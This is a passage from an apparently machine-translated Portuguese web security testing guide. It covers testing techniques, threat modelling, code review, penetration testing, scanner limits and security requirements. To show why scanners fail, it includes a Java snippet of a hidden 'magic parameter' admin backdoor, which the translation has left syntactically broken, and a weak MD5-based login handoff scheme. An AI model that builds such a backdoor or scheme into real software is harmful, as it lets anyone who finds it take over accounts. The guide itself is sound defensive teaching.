Testar com sucesso um aplicativo em busca de vulnerabilidades de segurança requer pensar “fora da caixa”. Os casos de uso normais testarão
o comportamento normal do aplicativo quando um usuário o estiver usando da maneira esperada. Um bom teste de segurança requer ir além do
esperado e pensar como um invasor que está tentando quebrar o aplicativo.
O pensamento criativo pode ajudar a determinar quais dados inesperados podem fazer com que um aplicativo falhe de maneira insegura.
Também pode ajudar a encontrar suposições feitas por desenvolvedores da Web que nem sempre são verdadeiras e como essas suposições
podem ser subvertidas. Uma das razões pelas quais as ferramentas automatizadas fazem um trabalho ruim de teste de vulnerabilidades é que
as ferramentas automatizadas não pensam de forma criativa. O pensamento criativo deve ser feito caso a caso, já que a maioria dos aplicativos
da Web está sendo desenvolvida de maneira única (mesmo ao usar estruturas comuns).
Entenda o assunto
Uma das primeiras grandes iniciativas em qualquer bom programa de segurança deve ser exigir documentação precisa do aplicativo. A
arquitetura, diagramas de fluxo de dados, casos de uso, etc. devem ser registrados em documentos formais e disponibilizados para revisão. A
especificação técnica e os documentos de aplicação devem incluir informações que listam não apenas os casos de uso desejados, mas também
quaisquer casos de uso especificamente não permitidos. Finalmente, é bom ter pelo menos uma infra-estrutura de segurança básica que permita
o monitoramento e tendências de ataques contra aplicativos e rede de uma organização (por exemplo, sistemas de detecção de intrusão).
Use as ferramentas certas
Embora já tenhamos afirmado que não existe uma ferramenta bala de prata, as ferramentas desempenham um papel crítico no programa de
segurança geral. Há uma variedade de ferramentas comerciais e de código aberto que podem automatizar muitas tarefas rotineiras de segurança.
Essas ferramentas podem simplificar e acelerar o processo de segurança auxiliando o pessoal de segurança em suas tarefas. No entanto, é
importante entender exatamente o que essas ferramentas podem e não podem fazer para que não sejam exageradas ou usadas incorretamente.
O diabo está nos detalhes

É fundamental não realizar uma revisão de segurança superficial de um aplicativo e considerá-lo completo. Isso incutirá uma falsa sensação de
confiança que pode ser tão perigosa quanto não ter feito uma revisão de segurança em primeiro lugar. É vital revisar cuidadosamente as
descobertas e eliminar quaisquer falsos positivos que possam permanecer no relatório. Relatar uma descoberta de segurança incorreta
geralmente pode minar a mensagem válida do restante de um relatório de segurança. Deve-se tomar cuidado para verificar
17
que todas as seções possíveis da lógica do aplicativo foram testadas e que todos os cenários de caso de uso foram explorados em busca de possíveis
vulnerabilidades.
Use o código-fonte quando disponível

Embora os resultados do teste de penetração de caixa preta possam ser impressionantes e úteis para demonstrar como as vulnerabilidades são expostas em
um ambiente de produção, eles não são a maneira mais eficaz ou eficiente de proteger um aplicativo. É difícil para o teste dinâmico testar toda a base de código,
especialmente se existirem muitas instruções condicionais aninhadas. Se o código-fonte do aplicativo estiver disponível, ele deve ser fornecido à equipe de
segurança para auxiliá-los durante a revisão. É possível descobrir vulnerabilidades na origem do aplicativo que seriam perdidas durante um envolvimento de
caixa preta.
Desenvolver Métricas
Uma parte importante de um bom programa de segurança é a capacidade de determinar se as coisas estão melhorando. É importante acompanhar os resultados
dos compromissos de teste e desenvolver métricas que revelarão as tendências de segurança de aplicativos dentro da organização.
Boas métricas mostrarão:
Se mais educação e treinamento forem necessários;
Se houver um mecanismo de segurança específico que não seja claramente compreendido pela equipe de desenvolvimento;
Se o número total de problemas relacionados à segurança encontrados estiver diminuindo.
Métricas consistentes que podem ser geradas de forma automatizada a partir do código-fonte disponível também ajudarão a organização a avaliar a eficácia dos
mecanismos introduzidos para reduzir os bugs de segurança no desenvolvimento de software. As métricas não são facilmente desenvolvidas, portanto, usar um
padrão como o fornecido pelo IEEE é um bom ponto de partida.
Documente os resultados do teste
Para concluir o processo de teste, é importante produzir um registro formal de quais ações de teste foram executadas, por quem, quando foram realizadas e
detalhes das descobertas do teste. É aconselhável concordar com um formato aceitável para o relatório que seja útil para todas as partes envolvidas, que podem
incluir desenvolvedores, gerenciamento de projetos, proprietários de negócios, departamento de TI, auditoria e conformidade.
O relatório deve identificar claramente para o proprietário da empresa onde existem riscos materiais e fazê-lo de maneira suficiente para obter seu apoio para
ações de mitigação subsequentes. O relatório também deve ser claro para o desenvolvedor ao apontar a função exata afetada pela vulnerabilidade e
recomendações associadas para resolver problemas em um idioma que o desenvolvedor entenderá. O relatório também deve permitir que outro testador de
segurança reproduza os resultados. Escrever o relatório não deve ser excessivamente oneroso para o próprio testador de segurança. Os testadores de segurança
geralmente não são conhecidos por suas habilidades de escrita criativa, e concordar com um relatório complexo pode levar a instâncias em que os resultados do
teste não são documentados adequadamente. O uso de um modelo de relatório de teste de segurança pode economizar tempo e garantir que os resultados
sejam documentados com precisão e consistência e estejam em um formato adequado para o público.
Técnicas de teste explicadas Esta seção apresenta uma
visão geral de alto nível de várias técnicas de teste que podem ser empregadas ao criar um programa de teste. Não apresenta metodologias específicas para
essas técnicas, pois essas informações são abordadas no Capítulo 3.
Esta seção foi incluída para fornecer contexto para a estrutura apresentada no próximo capítulo e para destacar as vantagens ou desvantagens de algumas das
técnicas que devem ser consideradas. Em particular, abordaremos:
Inspeções e revisões manuais
Modelagem de Ameaças
Revisão de código
Teste de penetração
Inspeções e revisões manuais

18
Visão geral
As inspeções manuais são revisões humanas que normalmente testam as implicações de segurança de pessoas, políticas e processos.
As inspeções manuais também podem incluir a inspeção de decisões de tecnologia, como projetos arquitetônicos. Eles geralmente são conduzidos
analisando a documentação ou realizando entrevistas com os projetistas ou proprietários do sistema.
Embora o conceito de inspeções manuais e revisões humanas seja simples, elas podem estar entre as técnicas mais poderosas e eficazes
disponíveis. Ao perguntar a alguém como algo funciona e por que foi implementado de uma maneira específica, o testador pode determinar
rapidamente se é provável que haja alguma preocupação com a segurança. Inspeções e revisões manuais são uma das poucas maneiras de
testar o próprio processo de ciclo de vida de desenvolvimento de software e garantir que haja uma política ou habilidade adequada em vigor.
Como em muitas coisas na vida, ao realizar inspeções e revisões manuais, é recomendável adotar um modelo de confiança, mas verifique. Nem
tudo o que é mostrado ou dito ao testador será preciso. As revisões manuais são particularmente boas para testar se as pessoas entendem o
processo de segurança, foram informadas sobre a política e têm as habilidades adequadas para projetar ou implementar aplicativos seguros.
Outras atividades, incluindo a revisão manual da documentação, políticas de codificação segura, requisitos de segurança e projetos arquitetônicos,
devem ser realizadas por meio de inspeções manuais.
Vantagens
Não requer tecnologia de suporte
Pode ser aplicado a uma variedade de situações

Flexível
Promove o trabalho em equipe
No início do SDLC
Desvantagens
Pode ser demorado
Material de apoio nem sempre disponível
Requer pensamento humano significativo e habilidade para ser eficaz
Visão geral
A modelagem de ameaças tornou-se uma técnica popular para ajudar os projetistas de sistemas a pensar sobre as ameaças de segurança que
seus sistemas e aplicativos podem enfrentar. Portanto, a modelagem de ameaças pode ser vista como uma avaliação de risco para aplicativos.
Ele permite que o designer desenvolva estratégias de mitigação para vulnerabilidades potenciais e os ajuda a concentrar seus recursos e atenção
inevitavelmente limitados nas partes do sistema que mais exigem. Recomenda-se que todos os aplicativos tenham um modelo de ameaça
desenvolvido e documentado. Os modelos de ameaças devem ser criados o mais cedo possível no SDLC e devem ser revisados à medida que o
aplicativo evolui e o desenvolvimento progride.
Para desenvolver um modelo de ameaça, recomendamos uma abordagem simples que segue o NIST 800-30 padrão para avaliação de risco.
Essa abordagem envolve:
Decompondo o aplicativo – use um processo de inspeção manual para entender como o aplicativo funciona, seus ativos, funcionalidade e
conectividade.
Definição e classificação dos ativos – classifique os ativos em ativos tangíveis e intangíveis e classifique-os de acordo com a importância do
negócio.
Explorar vulnerabilidades potenciais - sejam técnicas, operacionais ou gerenciais.
Explorando ameaças potenciais – desenvolva uma visão realista dos vetores de ataque potenciais da perspectiva de um invasor usando
cenários de ameaças ou árvores de ataque.
Criar estratégias de mitigação – desenvolver controles de mitigação para cada uma das ameaças consideradas realistas.
19
A saída de um modelo de ameaça em si pode variar, mas geralmente é uma coleção de listas e diagramas. Vários projetos de código aberto e produtos
comerciais oferecem suporte a metodologias de modelagem de ameaças de aplicativos que podem ser usadas como referência para testar aplicativos quanto a
possíveis falhas de segurança no design do aplicativo. Não há maneira certa ou errada de desenvolver modelos de ameaças e realizar avaliações de risco de
informações em aplicativos.
Vantagens
Visão prática do atacante do sistema
Flexível
No início do SDLC
Desvantagens
Bons modelos de ameaças não significam automaticamente um bom software
Revisão do código-fonte
Visão geral
A revisão do código-fonte é o processo de verificação manual do código-fonte de um aplicativo da Web em busca de problemas de segurança. Muitas
vulnerabilidades de segurança graves não podem ser detectadas com nenhuma outra forma de análise ou teste. Como diz o ditado popular “se você quer saber
o que realmente está acontecendo, vá direto à fonte”. Quase todos os especialistas em segurança concordam que não há substituto para realmente olhar o
código. Todas as informações para identificar problemas de segurança estão no código, em algum lugar. Ao contrário do teste de software fechado, como
sistemas operacionais, ao testar aplicativos da Web (especialmente se forem desenvolvidos internamente), o código-fonte deve ser disponibilizado para fins de
teste.
Muitos problemas de segurança não intencionais, mas significativos, são extremamente difíceis de descobrir com outras formas de análise ou teste, como o teste
de penetração. Isso torna a análise de código-fonte a técnica de escolha para testes técnicos. Com o código-fonte, um testador pode determinar com precisão o
que está acontecendo (ou deveria estar acontecendo) e remover o trabalho de adivinhação do teste de caixa preta.
Exemplos de problemas que são particularmente propícios a serem encontrados por meio de revisões de código-fonte incluem problemas de simultaneidade,
lógica de negócios defeituosa, problemas de controle de acesso e fraquezas criptográficas, bem como backdoors, cavalos de Tróia, ovos de Páscoa, bombas-
relógio, bombas lógicas e outras formas de Código malicioso. Esses problemas geralmente se manifestam como as vulnerabilidades mais prejudiciais em
aplicativos da web. A análise do código-fonte também pode ser extremamente eficiente para encontrar problemas de implementação, como locais onde a
validação de entrada não foi realizada ou onde procedimentos de controle de falha aberta podem estar presentes. Os procedimentos operacionais também
precisam ser revistos, pois o código fonte que está sendo implantado pode não ser o mesmo que está sendo analisado aqui. Discurso do Prêmio Turing de Ken
Thompson descreve uma possível manifestação desse problema.
Vantagens
Integralidade e eficácia
Precisão
Rápido (para revisores competentes)
Desvantagens
Requer desenvolvedores conscientes de segurança altamente qualificados
Pode perder problemas em bibliotecas compiladas
Não é possível detectar erros de tempo de execução facilmente
O código-fonte realmente implantado pode diferir daquele que está sendo analisado
Para saber mais sobre revisão de código, consulte o projeto de revisão de código OWASP.
Teste de penetração
Visão geral
20
O teste de penetração tem sido uma técnica comum usada para testar a segurança da rede há décadas. Também é comumente conhecido como teste de caixa
preta ou hacking ético. O teste de penetração é essencialmente a “arte” de testar um sistema ou aplicativo remotamente para encontrar vulnerabilidades de
segurança, sem conhecer o funcionamento interno do próprio alvo. Normalmente, a equipe de teste de penetração consegue acessar um aplicativo como se
fossem usuários. O testador age como um invasor e tenta encontrar e explorar vulnerabilidades. Em muitos casos, o testador receberá uma ou mais contas
válidas no sistema.
Embora o teste de penetração tenha se mostrado eficaz na segurança da rede, a técnica não se traduz naturalmente em aplicativos. Quando o teste de
penetração é realizado em redes e sistemas operacionais, a maior parte do trabalho envolvido é encontrar e explorar vulnerabilidades conhecidas em tecnologias
específicas. Como os aplicativos da Web são quase exclusivamente personalizados, o teste de penetração na área de aplicativos da Web é mais semelhante à
pesquisa pura. Algumas ferramentas automatizadas de teste de penetração foram desenvolvidas, mas, considerando a natureza personalizada dos aplicativos
da Web, sua eficácia por si só pode ser baixa.
Muitas pessoas usam o teste de penetração de aplicativos da web como sua principal técnica de teste de segurança. Embora certamente tenha seu lugar em
um programa de teste, não acreditamos que deva ser considerado como a principal ou única técnica de teste. Como Gary McGraw escreveu em Software
Penetration Testing, “Na prática, um teste de penetração só pode identificar uma pequena amostra representativa de todos os possíveis riscos de segurança
em um sistema.” No entanto, testes de penetração focados (ou seja, testes que tentam explorar vulnerabilidades conhecidas detectadas em análises anteriores)
podem ser úteis para detectar se algumas vulnerabilidades específicas foram realmente corrigidas no código-fonte implantado.
Vantagens
Pode ser rápido (e, portanto, barato)
Requer um conjunto de habilidades relativamente menor do que a revisão do código-fonte
Testa o código que está realmente sendo exposto
Desvantagens
Tarde demais no SDLC
Somente teste de impacto frontal
A necessidade de uma abordagem equilibrada Com tantas técnicas e
abordagens para testar a segurança de aplicativos da Web, pode ser difícil entender quais técnicas usar ou quando usá-las. A experiência mostra que não há
resposta certa ou errada para a questão de exatamente quais técnicas devem ser usadas para construir uma estrutura de teste. Na verdade, todas as técnicas
devem ser usadas para testar todas as áreas que precisam ser testadas.
Embora esteja claro que não existe uma técnica única que possa ser executada para abranger efetivamente todos os testes de segurança e garantir que todos
os problemas sejam resolvidos, muitas empresas adotam apenas uma abordagem. A única abordagem usada tem sido historicamente o teste de penetração.
O teste de penetração, embora útil, não pode resolver efetivamente muitos dos problemas que precisam ser testados. É simplesmente “muito pouco tarde
demais” no SDLC.
A abordagem correta é uma abordagem equilibrada que inclui várias técnicas, desde revisões manuais até testes técnicos e testes integrados de CI/CD. Uma
abordagem equilibrada deve abranger testes em todas as fases do SDLC. Essa abordagem aproveita as técnicas mais apropriadas disponíveis, dependendo
da fase SDLC atual.
Claro que há momentos e circunstâncias em que apenas uma técnica é possível. Por exemplo, considere um teste de um aplicativo da web que já foi criado,
mas onde a parte de teste não tem acesso ao código-fonte. Nesse caso, o teste de penetração é claramente melhor do que nenhum teste. No entanto, as partes
de teste devem ser encorajadas a desafiar suposições, como não ter acesso ao código-fonte, e explorar a possibilidade de testes mais completos.
Uma abordagem equilibrada varia de acordo com muitos fatores, como a maturidade do processo de teste e a cultura corporativa. Recomenda-se que uma
estrutura de teste balanceada se pareça com as representações mostradas na Figura 3 e na Figura 4. A figura a seguir mostra uma representação proporcional
típica sobreposta ao SLDC. No
21
de acordo com a pesquisa e a experiência, é essencial que as empresas dêem maior ênfase aos estágios iniciais de
desenvolvimento.
Figura 2-3: Proporção de Esforço de Teste em SDLC
A figura a seguir mostra uma representação proporcional típica sobreposta às técnicas de teste.
22
Figura 2-4: Proporção do esforço de teste de acordo com a técnica de teste
Uma observação sobre os verificadores de aplicativos da Web
Muitas organizações começaram a usar verificadores automatizados de aplicativos da web. Embora eles indubitavelmente tenham um lugar em
um programa de teste, algumas questões fundamentais precisam ser destacadas sobre por que se acredita que automatizar o teste de caixa
preta não é (nem nunca será) completamente eficaz. No entanto, destacar esses problemas não deve desencorajar o uso de scanners de
aplicativos da web. Em vez disso, o objetivo é garantir que as limitações sejam compreendidas e que as estruturas de teste sejam planejadas
adequadamente.
É útil entender a eficácia e as limitações das ferramentas automatizadas de detecção de vulnerabilidades. Para esse fim, o OWASP Benchmark
Project é um conjunto de testes projetado para avaliar a velocidade, cobertura e precisão de ferramentas e serviços automatizados de detecção
de vulnerabilidade de software. O benchmarking pode ajudar a testar os recursos dessas ferramentas automatizadas e ajudar a tornar sua
utilidade explícita.
Os exemplos a seguir mostram por que o teste de caixa preta automatizado pode não ser eficaz.
Exemplo 1: Parâmetros Mágicos
Imagine um aplicativo da Web simples que aceita um par nome-valor de “mágica” e, em seguida, o valor. Para simplificar, a solicitação GET
pode ser: http://www.host/application?magic=value
Para simplificar ainda mais o exemplo, os valores neste caso podem ser apenas caracteres ASCII a – z (maiúsculos ou minúsculos) e inteiros 0
– 9.
Os projetistas desse aplicativo criaram um backdoor administrativo durante o teste, mas o ofuscaram para evitar que o observador casual o
descobrisse. Ao enviar o valor sf8g7sfjdsurtsdieerwqredsgnfg8d (30 caracteres), o usuário será logado e será apresentada uma tela administrativa
com total controle do aplicativo. A solicitação HTTP agora é: http://www.host/application?magic=sf8g7sfjdsurtsdieerwqredsgnfg8d
Dado que todos os outros parâmetros eram campos simples de dois e três caracteres, não é possível começar a adivinhar combinações com
aproximadamente 28 caracteres. Um scanner de aplicativo da web precisará usar força bruta (ou adivinhar) todo o
23
espaço de chave de 30 caracteres. Isso é até 30 ^ 28 permutações ou trilhões de solicitações HTTP. Isso é um elétron em um palheiro digital.
O código para esta verificação de parâmetro mágico exemplar pode ser semelhante ao seguinte:
public void doPost( solicitação HttpServletRequest, resposta HttpServletResponse) {

String magic = "sf8g7sfjdsurtsdieerwqredsgnfg8d"; boolean admin
= magic.equals( request.getParameter("magic")); if (admin) doAdmin(pedido,
resposta); else … // processamento normal
Olhando no código, a vulnerabilidade praticamente salta da página como um problema potencial.
Exemplo 2: Criptografia inválida A criptografia
é amplamente usada em aplicativos da web. Imagine que um desenvolvedor decidiu escrever um algoritmo de criptografia simples para conectar
um usuário do site A ao site B automaticamente. Em sua sabedoria, o desenvolvedor decide que, se um usuário estiver conectado ao site A, ele
gerará uma chave usando uma função de hash MD5 que compreende: Hash { nome de usuário : data
}
Quando um usuário é passado para o site B, ele envia a chave na string de consulta para o site B em um redirecionamento HTTP. O site B calcula
o hash independentemente e o compara com o hash transmitido na solicitação. Se forem correspondentes, o site B conecta o usuário como o
usuário que afirma ser.
À medida que o esquema é explicado, as inadequações podem ser resolvidas. Qualquer um que descubra o esquema (ou saiba como ele
funciona, ou baixe as informações do Bugtraq) pode fazer login como qualquer usuário. A inspeção manual, como uma revisão ou inspeção de
código, teria descoberto esse problema de segurança rapidamente. Um scanner de aplicativo web de caixa preta não teria descoberto a
vulnerabilidade. Teria visto um hash de 128 bits que mudava com cada usuário e, pela natureza das funções de hash, não mudava de maneira
previsível.
Uma observação sobre as ferramentas de revisão de código-fonte estático
Muitas organizações começaram a usar scanners de código-fonte estáticos. Embora eles indubitavelmente tenham um lugar em um programa de
teste abrangente, é necessário destacar algumas questões fundamentais sobre por que essa abordagem não é eficaz quando usada sozinha. A
análise estática do código-fonte por si só não consegue identificar problemas devido a falhas no projeto, pois não consegue entender o contexto
em que o código é construído. As ferramentas de análise de código-fonte são úteis para determinar problemas de segurança devido a erros de
codificação; no entanto, é necessário um esforço manual significativo para validar as descobertas.
Derivando requisitos de teste de segurança

Para ter um programa de teste bem-sucedido, é preciso saber quais são os objetivos do teste. Esses objetivos são especificados pelos requisitos
de segurança. Esta seção discute em detalhes como documentar requisitos para testes de segurança derivando-os de normas e regulamentos
aplicáveis, de requisitos positivos de aplicativos (especificando o que o aplicativo deve fazer) e de requisitos negativos de aplicativos (especificando
o que o aplicativo não deve fazer) . Ele também discute como os requisitos de segurança conduzem efetivamente os testes de segurança durante
o SDLC e como os dados de teste de segurança podem ser usados para gerenciar com eficácia os riscos de segurança de software.
Objetivos do teste Um dos
objetivos do teste de segurança é validar se os controles de segurança funcionam conforme o esperado. Isso é documentado por meio de
requisitos de segurança que descrevem a funcionalidade do controle de segurança. Em um alto nível, isso significa provar confidencialidade,
integridade e disponibilidade dos dados, bem como do serviço. O outro objetivo é validar que os controles de segurança sejam implementados
com poucas ou nenhuma vulnerabilidade. Essas são vulnerabilidades comuns, como o OWASP Top Ten, bem como vulnerabilidades que foram
identificadas anteriormente com avaliações de segurança durante o SDLC, como modelagem de ameaças, análise de código-fonte e teste de
penetração.
Documentação dos Requisitos de Segurança

24
A primeira etapa na documentação dos requisitos de segurança é entender os requisitos de negócios . Um documento de requisitos de negócios pode fornecer
informações iniciais de alto nível sobre a funcionalidade esperada do aplicativo. Por exemplo, o objetivo principal de um aplicativo pode ser fornecer serviços
financeiros a clientes ou permitir que mercadorias sejam compradas em um catálogo on-line. Uma seção de segurança dos requisitos de negócios deve destacar
a necessidade de proteger os dados do cliente, bem como cumprir a documentação de segurança aplicável, como regulamentos, padrões e políticas.
Uma lista de verificação geral dos regulamentos, padrões e políticas aplicáveis é uma boa análise preliminar de conformidade de segurança para aplicativos da
web. Por exemplo, os regulamentos de conformidade podem ser identificados verificando informações sobre o setor de negócios e o país ou estado onde o
aplicativo irá operar. Algumas dessas diretrizes e regulamentos de conformidade podem se traduzir em requisitos técnicos específicos para controles de
segurança. Por exemplo, no caso de aplicativos financeiros, a conformidade com a Ferramenta e Documentação de Avaliação de Segurança Cibernética do
Federal Financial Institutions Examination Council (FFIEC) exige que as instituições financeiras implementem aplicativos que reduzam os riscos de autenticação
fraca com controles de segurança multicamadas e autenticação multifator.
Os padrões da indústria aplicáveis para segurança também devem ser capturados pela lista de verificação geral de requisitos de segurança. Por exemplo, no
caso de aplicativos que lidam com dados de cartão de crédito do cliente, a conformidade com o PCI Security Standards Council Data Security Standard (DSS)
proíbe o armazenamento de PINs e dados CVV2 e exige que o comerciante proteja os dados da faixa magnética no armazenamento e transmissão com
criptografia e em exibição por mascaramento. Esses requisitos de segurança do PCI DSS podem ser validados por meio da análise do código-fonte.
Outra seção da lista de verificação precisa reforçar os requisitos gerais de conformidade com os padrões e políticas de segurança da informação da organização.
Da perspectiva dos requisitos funcionais, os requisitos para o controle de segurança precisam ser mapeados para uma seção específica dos padrões de
segurança da informação. Um exemplo de tal requisito pode ser: “uma complexidade de senha de dez caracteres alfanuméricos deve ser aplicada pelos controles
de autenticação usados pelo aplicativo”. Quando os requisitos de segurança são mapeados para regras de conformidade, um teste de segurança pode validar a
exposição de riscos de conformidade. Se forem encontradas violações dos padrões e políticas de segurança da informação, isso resultará em um risco que pode
ser documentado e que o negócio deve gerenciar ou abordar. Como esses requisitos de conformidade de segurança são aplicáveis, eles precisam ser bem
documentados e validados com testes de segurança.
Validação dos Requisitos de Segurança Do ponto de
vista da funcionalidade, a validação dos requisitos de segurança é o principal objetivo dos testes de segurança. Do ponto de vista do gerenciamento de riscos, a
validação dos requisitos de segurança é o objetivo das avaliações de segurança da informação. Em um alto nível, o principal objetivo das avaliações de
segurança da informação é a identificação de lacunas nos controles de segurança, como falta de autenticação básica, autorização ou controles de criptografia.
Examinado ainda mais, o objetivo da avaliação de segurança é a análise de risco, como a identificação de possíveis pontos fracos nos controles de segurança
que garantem a confidencialidade, integridade e disponibilidade dos dados. Por exemplo, quando o aplicativo lida com informações de identificação pessoal (PII)
e dados confidenciais, o requisito de segurança a ser validado é o cumprimento da política de segurança da informação da empresa que exige a criptografia
desses dados em trânsito e no armazenamento. Supondo que a criptografia seja usada para proteger os dados, os algoritmos de criptografia e os tamanhos de
chave precisam estar em conformidade com os padrões de criptografia da organização. Isso pode exigir que apenas determinados algoritmos e comprimentos
de chave sejam usados. Por exemplo, um requisito de segurança que pode ser testado é verificar se apenas as cifras permitidas são usadas (por exemplo,
SHA-256, RSA, AES) com comprimentos de chave mínimos permitidos (por exemplo, mais de 128 bits para simétrico e mais de 1024 para assimétrico
criptografia).
Do ponto de vista da avaliação de segurança, os requisitos de segurança podem ser validados em diferentes fases do SDLC usando diferentes artefatos e
metodologias de teste. Por exemplo, a modelagem de ameaças se concentra na identificação de falhas de segurança durante o projeto; análises e análises de
código seguro concentram-se na identificação de problemas de segurança no código-fonte durante o desenvolvimento; e o teste de penetração concentra-se na
identificação de vulnerabilidades no aplicativo durante o teste ou validação.
Os problemas de segurança identificados no início do SDLC podem ser documentados em um plano de teste para que possam ser validados posteriormente
com testes de segurança. Ao combinar os resultados de diferentes técnicas de teste, é possível derivar melhores casos de teste de segurança e aumentar o
nível de garantia dos requisitos de segurança. Por exemplo, distinguir as verdadeiras vulnerabilidades das inexploráveis é possível quando os resultados dos
testes de penetração e da análise do código-fonte são combinados.
Considerando o teste de segurança para uma vulnerabilidade de injeção de SQL, por exemplo, um teste de caixa preta pode primeiro envolver uma varredura de
25
o aplicativo para identificar a vulnerabilidade. A primeira evidência de uma possível vulnerabilidade de injeção SQL que pode ser validada é
a geração de uma exceção SQL. Uma validação adicional da vulnerabilidade SQL pode envolver a injeção manual de vetores de ataque para
modificar a gramática da consulta SQL para uma exploração de divulgação de informações. Isso pode envolver muita análise de tentativa e
erro antes que a consulta maliciosa seja executada. Supondo que o testador tenha o código-fonte, ele pode aprender diretamente com a
análise do código-fonte como construir o vetor de ataque SQL que explorará a vulnerabilidade com êxito (por exemplo, executar uma consulta
maliciosa retornando dados confidenciais para um usuário não autorizado). Isso pode agilizar a validação da vulnerabilidade do SQL.
Taxonomias de Ameaças e Contramedidas

Uma classificação de ameaça e contramedida , que leva em consideração as causas principais das vulnerabilidades, é o fator
crítico para verificar se os controles de segurança são projetados, codificados e construídos para mitigar o impacto da exposição de tais
vulnerabilidades. No caso de aplicativos da Web, a exposição dos controles de segurança a vulnerabilidades comuns, como o OWASP Top
Ten, pode ser um bom ponto de partida para derivar os requisitos gerais de segurança. O OWASP Testing Guide Checklist é um recurso útil
para orientar os testadores através de vulnerabilidades específicas e testes de validação.
O foco de uma categorização de ameaças e contramedidas é definir os requisitos de segurança em termos das ameaças e da causa raiz da
vulnerabilidade. Uma ameaça pode ser categorizada usando STRIDE, um acrônimo para falsificação, adulteração, repúdio, divulgação de
informações, negação de serviço e elevação de privilégio. A causa raiz pode ser categorizada como falha de segurança no design, um bug
de segurança na codificação ou um problema devido à configuração insegura. Por exemplo, a causa raiz da vulnerabilidade de autenticação
fraca pode ser a falta de autenticação mútua quando os dados cruzam um limite de confiança entre as camadas de cliente e servidor do
aplicativo. Um requisito de segurança que captura a ameaça de não repúdio durante uma revisão de projeto de arquitetura permite a
documentação do requisito para a contramedida (por exemplo, autenticação mútua) que pode ser validada posteriormente com testes de
segurança.
Uma categorização de ameaças e contramedidas para vulnerabilidades também pode ser usada para documentar requisitos de segurança
para codificação segura, como padrões de codificação segura. Um exemplo de erro de codificação comum em controles de autenticação
consiste em aplicar uma função hash para criptografar uma senha, sem aplicar uma semente ao valor. Do ponto de vista da codificação
segura, esta é uma vulnerabilidade que afeta a criptografia usada para autenticação com uma causa raiz de vulnerabilidade em um erro de
codificação. Como a causa principal é a codificação insegura, o requisito de segurança pode ser documentado em padrões de codificação
segura e validado por meio de revisões de código seguro durante a fase de desenvolvimento do SDLC.
Teste de segurança e análise de riscos Os
requisitos de segurança precisam levar em consideração a gravidade das vulnerabilidades para dar suporte a uma estratégia de mitigação
de riscos . Supondo que a organização mantenha um repositório de vulnerabilidades encontradas em aplicativos (ou seja, uma base de
conhecimento de vulnerabilidades), os problemas de segurança podem ser relatados por tipo, problema, mitigação, causa raiz e mapeados
para os aplicativos onde são encontrados. Essa base de conhecimento de vulnerabilidade também pode ser usada para estabelecer uma
métrica para analisar a eficácia dos testes de segurança em todo o SDLC.
Por exemplo, considere um problema de validação de entrada, como uma injeção de SQL, que foi identificada por meio da análise do código-
fonte e relatada com uma causa raiz de erro de codificação e um tipo de vulnerabilidade de validação de entrada. A exposição de tal
vulnerabilidade pode ser avaliada por meio de um teste de penetração, sondando os campos de entrada com vários vetores de ataque de
injeção SQL. Esse teste pode validar se os caracteres especiais são filtrados antes de atingir o banco de dados e atenuar a vulnerabilidade.
Ao combinar os resultados da análise do código-fonte e do teste de penetração, é possível determinar a probabilidade e a exposição da
vulnerabilidade e calcular a classificação de risco da vulnerabilidade. Ao relatar as classificações de risco de vulnerabilidade nas descobertas
(por exemplo, relatório de teste), é possível decidir sobre a estratégia de mitigação. Por exemplo, vulnerabilidades de alto e médio risco
podem ser priorizadas para correção, enquanto vulnerabilidades de baixo risco podem ser corrigidas em versões futuras.
Ao considerar os cenários de ameaças de exploração de vulnerabilidades comuns, é possível identificar riscos potenciais para os quais o
controle de segurança do aplicativo precisa ser testado quanto à segurança. Por exemplo, as dez principais vulnerabilidades do OWASP
podem ser mapeadas para ataques como phishing, violações de privacidade, roubo de identidade, comprometimento do sistema, alteração
ou destruição de dados, perda financeira e perda de reputação. Tais problemas devem ser documentados como parte dos cenários de
ameaça. Pensando em ameaças e vulnerabilidades, é possível construir uma bateria de testes que simulem tais cenários de ataque.
Idealmente, a base de conhecimento de vulnerabilidade da organização pode ser usada para derivar casos de teste orientados a riscos de
segurança para validar os cenários de ataque mais prováveis. Por exemplo, se o roubo de identidade for considerado de alto risco, cenários de teste negativo
26
deve validar a mitigação dos impactos decorrentes da exploração de vulnerabilidades na autenticação, controles criptográficos, validação de entradas e
controles de autorização.
Derivação de requisitos de teste funcionais e não funcionais

Requisitos Funcionais de Segurança
Do ponto de vista dos requisitos funcionais de segurança, os padrões, políticas e regulamentos aplicáveis orientam tanto a necessidade de um tipo de controle
de segurança quanto a funcionalidade de controle. Esses requisitos também são chamados de “requisitos positivos”, pois declaram a funcionalidade esperada
que pode ser validada por meio de testes de segurança.
Exemplos de requisitos positivos são: “o aplicativo bloqueará o usuário após seis tentativas de logon com falha” ou “as senhas precisam ter no mínimo dez
caracteres alfanuméricos”. A validação de requisitos positivos consiste em afirmar a funcionalidade esperada e pode ser testada recriando as condições de
teste e executando o teste de acordo com as entradas predefinidas. Os resultados são mostrados como uma condição de falha ou aprovação.
Para validar os requisitos de segurança com testes de segurança, os requisitos de segurança precisam ser orientados à função. Eles precisam destacar a
funcionalidade esperada (o quê) e implicar a implementação (o como). Exemplos de requisitos de design de segurança de alto nível para autenticação podem
ser:
Proteja as credenciais do usuário ou os segredos compartilhados em trânsito e no armazenamento.
Oculte quaisquer dados confidenciais em exibição (por exemplo, senhas, contas).
Bloqueie a conta do usuário após um determinado número de tentativas de login com falha.
Não mostre erros de validação específicos para o usuário como resultado de uma falha no logon.
Permita apenas senhas alfanuméricas, que incluam caracteres especiais e tenham no mínimo dez caracteres, para limitar a superfície de ataque.
Permita a funcionalidade de alteração de senha apenas para usuários autenticados, validando a senha antiga, a nova senha e a resposta do usuário à
pergunta de desafio, para evitar a força bruta de uma senha por meio de alteração de senha.
O formulário de redefinição de senha deve validar o nome de usuário do usuário e o e-mail registrado do usuário antes de enviar a senha temporária ao
usuário por e-mail. A senha temporária emitida deve ser uma senha única. Um link para a página da web de redefinição de senha será enviado ao
usuário. A página da web de redefinição de senha deve validar a senha temporária do usuário, a nova senha, bem como a resposta do usuário à
pergunta de desafio.
Requisitos de segurança baseados em risco
Os testes de segurança também devem ser direcionados ao risco. Eles precisam validar o aplicativo para comportamento inesperado ou requisitos negativos.
Exemplos de requisitos negativos são:
O aplicativo não deve permitir que os dados sejam alterados ou destruídos.
O aplicativo não deve ser comprometido ou mal utilizado para transações financeiras não autorizadas por um mal-intencionado
do utilizador.
